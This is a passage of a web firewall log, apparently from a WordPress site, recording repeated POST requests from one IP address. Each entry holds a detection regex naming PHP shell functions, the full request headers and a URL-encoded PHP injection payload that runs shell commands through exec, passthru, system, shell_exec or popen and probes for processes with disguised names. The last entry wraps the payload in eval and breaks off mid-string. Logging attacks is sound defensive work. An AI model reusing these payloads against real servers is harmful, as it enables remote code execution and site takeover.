20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-length:3350\n\nHk=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27table.categories%27%2C%27commonhtml%27%2C%27patTemplate%27%2C%27google_sitemap%27%2C%27main_center%27%2C%27showthumb%27%2C%27set_history_type%27%2C%27CommonAttributes%27%2C%27customer_lookup%27%2C%27recipe_moderate%27%2C%27tinybrowser%27%2C%27editOnePic%27%2C%27mediasize%27%2C%27action.printpage%27%2C%27Partition.class%27%2C%27page_not_found%27%2C%27StrictBlockquote%27%2C%27editfieldprofile%27%2C%27makepdf_class%27%2C%27downloads%27%2C%27paginazione_old%27%2C%27siteMapEN%27%2C%27com_fireboard%27%2C%27infoevent3%27%2C%27vcard.class%27%2C%27changeTut%27%2C%27uploadNews%27%2C%27view.html%27%2C%27rss2_coming%27%2C%27copytemplate%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 22:21:50","213.209.159.254","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qx:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27table.categories%27%2C%27commonhtml%27%2C%27patTemplate%27%2C%27google_sitemap%27%2C%27main_center%27%2C%27showthumb%27%2C%27set_history_type%27%2C%27CommonAttributes%27%2C%27customer_lookup%27%2C%27recipe_moderate%27%2C%27tinybrowser%27%2C%27editOnePic%27%2C%27mediasize%27%2C%27action.printpage%27%2C%27Partition.class%27%2C%27page_not_found%27%2C%27StrictBlockquote%27%2C%27editfieldprofile%27%2C%27makepdf_class%27%2C%27downloads%27%2C%27paginazione_old%27%2C%27siteMapEN%27%2C%27com_fireboard%27%2C%27infoevent3%27%2C%27vcard.class%27%2C%27changeTut%27%2C%27uploadNews%27%2C%27view.html%27%2C%27rss2_coming%27%2C%27copytemplate%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHKtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-length:3350\n\nQx=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27table.categories%27%2C%27commonhtml%27%2C%27patTemplate%27%2C%27google_sitemap%27%2C%27main_center%27%2C%27showthumb%27%2C%27set_history_type%27%2C%27CommonAttributes%27%2C%27customer_lookup%27%2C%27recipe_moderate%27%2C%27tinybrowser%27%2C%27editOnePic%27%2C%27mediasize%27%2C%27action.printpage%27%2C%27Partition.class%27%2C%27page_not_found%27%2C%27StrictBlockquote%27%2C%27editfieldprofile%27%2C%27makepdf_class%27%2C%27downloads%27%2C%27paginazione_old%27%2C%27siteMapEN%27%2C%27com_fireboard%27%2C%27infoevent3%27%2C%27vcard.class%27%2C%27changeTut%27%2C%27uploadNews%27%2C%27view.html%27%2C%27rss2_coming%27%2C%27copytemplate%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 22:22:00","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Oq:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27table.categories%27%2C%27commonhtml%27%2C%27patTemplate%27%2C%27google_sitemap%27%2C%27main_center%27%2C%27showthumb%27%2C%27set_history_type%27%2C%27CommonAttributes%27%2C%27customer_lookup%27%2C%27recipe_moderate%27%2C%27tinybrowser%27%2C%27editOnePic%27%2C%27mediasize%27%2C%27action.printpage%27%2C%27Partition.class%27%2C%27page_not_found%27%2C%27StrictBlockquote%27%2C%27editfieldprofile%27%2C%27makepdf_class%27%2C%27downloads%27%2C%27paginazione_old%27%2C%27siteMapEN%27%2C%27com_fireboard%27%2C%27infoevent3%27%2C%27vcard.class%27%2C%27changeTut%27%2C%27uploadNews%27%2C%27view.html%27%2C%27rss2_coming%27%2C%27copytemplate%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG3RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-length:3350\n\nOq=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27table.categories%27%2C%27commonhtml%27%2C%27patTemplate%27%2C%27google_sitemap%27%2C%27main_center%27%2C%27showthumb%27%2C%27set_history_type%27%2C%27CommonAttributes%27%2C%27customer_lookup%27%2C%27recipe_moderate%27%2C%27tinybrowser%27%2C%27editOnePic%27%2C%27mediasize%27%2C%27action.printpage%27%2C%27Partition.class%27%2C%27page_not_found%27%2C%27StrictBlockquote%27%2C%27editfieldprofile%27%2C%27makepdf_class%27%2C%27downloads%27%2C%27paginazione_old%27%2C%27siteMapEN%27%2C%27com_fireboard%27%2C%27infoevent3%27%2C%27vcard.class%27%2C%27changeTut%27%2C%27uploadNews%27%2C%27view.html%27%2C%27rss2_coming%27%2C%27copytemplate%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 22:22:08","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DJ:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27table.categories%27%2C%27commonhtml%27%2C%27patTemplate%27%2C%27google_sitemap%27%2C%27main_center%27%2C%27showthumb%27%2C%27set_history_type%27%2C%27CommonAttributes%27%2C%27customer_lookup%27%2C%27recipe_moderate%27%2C%27tinybrowser%27%2C%27editOnePic%27%2C%27mediasize%27%2C%27action.printpage%27%2C%27Partition.class%27%2C%27page_not_found%27%2C%27StrictBlockquote%27%2C%27editfieldprofile%27%2C%27makepdf_class%27%2C%27downloads%27%2C%27paginazione_old%27%2C%27siteMapEN%27%2C%27com_fireboard%27%2C%27infoevent3%27%2C%27vcard.class%27%2C%27changeTut%27%2C%27uploadNews%27%2C%27view.html%27%2C%27rss2_coming%27%2C%27copytemplate%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvERbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-length:3350\n\nDJ=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27table.categories%27%2C%27commonhtml%27%2C%27patTemplate%27%2C%27google_sitemap%27%2C%27main_center%27%2C%27showthumb%27%2C%27set_history_type%27%2C%27CommonAttributes%27%2C%27customer_lookup%27%2C%27recipe_moderate%27%2C%27tinybrowser%27%2C%27editOnePic%27%2C%27mediasize%27%2C%27action.printpage%27%2C%27Partition.class%27%2C%27page_not_found%27%2C%27StrictBlockquote%27%2C%27editfieldprofile%27%2C%27makepdf_class%27%2C%27downloads%27%2C%27paginazione_old%27%2C%27siteMapEN%27%2C%27com_fireboard%27%2C%27infoevent3%27%2C%27vcard.class%27%2C%27changeTut%27%2C%27uploadNews%27%2C%27view.html%27%2C%27rss2_coming%27%2C%27copytemplate%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 22:22:16","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27table.categories%27%2C%27commonhtml%27%2C%27patTemplate%27%2C%27google_sitemap%27%2C%27main_center%27%2C%27showthumb%27%2C%27set_history_type%27%2C%27CommonAttributes%27%2C%27customer_lookup%27%2C%27recipe_moderate%27%2C%27tinybrowser%27%2C%27editOnePic%27%2C%27mediasize%27%2C%27action.printpage%27%2C%27Partition.class%27%2C%27page_not_found%27%2C%27StrictBlockquote%27%2C%27editfieldprofile%27%2C%27makepdf_class%27%2C%27downloads%27%2C%27paginazione_old%27%2C%27siteMapEN%27%2C%27com_fireboard%27%2C%27infoevent3%27%2C%27vcard.class%27%2C%27changeTut%27%2C%27uploadNews%27%2C%27view.html%27%2C%27rss2_coming%27%2C%27copytemplate%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B